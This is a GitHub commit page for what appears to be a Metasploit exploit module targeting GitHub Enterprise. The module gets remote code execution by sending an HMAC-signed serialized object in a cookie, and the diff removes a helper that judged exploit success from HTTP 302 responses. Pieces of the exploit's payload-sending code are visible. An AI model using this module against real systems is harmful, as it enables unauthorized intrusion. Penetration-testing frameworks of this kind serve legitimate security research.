Skip to content

Commit fdb52a6

Browse files
committed
Avoid checking res.code to determine RCE success
Because it's not accurate
1 parent 39682d6 commit fdb52a6

File tree

1 file changed

+3
-15
lines changed

1 file changed

+3
-15
lines changed

modules/exploits/linux/http/github_enterprise_secret.rb

Lines changed: 3 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -143,20 +143,6 @@ module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;en
143143
return serialized_object, hmac
144144
end
145145

146-
def get_rce_status(res)
147-
unless res
148-
return 'Connection timed out'
149-
end
150-
151-
msg = "Server returned with: #{res.code}"
152-
153-
if res.code == 302
154-
msg << ' (looks like successful code execution)'
155-
end
156-
157-
msg
158-
end
159-
160146
def send_serialized_data(dump, hmac)
161147
uri = normalize_uri(target_uri.path)
162148
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
@@ -167,7 +153,9 @@ def send_serialized_data(dump, hmac)
167153
'cookie' => cookie
168154
})
169155

170-
print_status(get_rce_status(res))
156+
if res
157+
print_status("Server returned: #{res.code}")
158+
end
171159
end
172160

173161
def exploit

0 commit comments

Comments
 (0)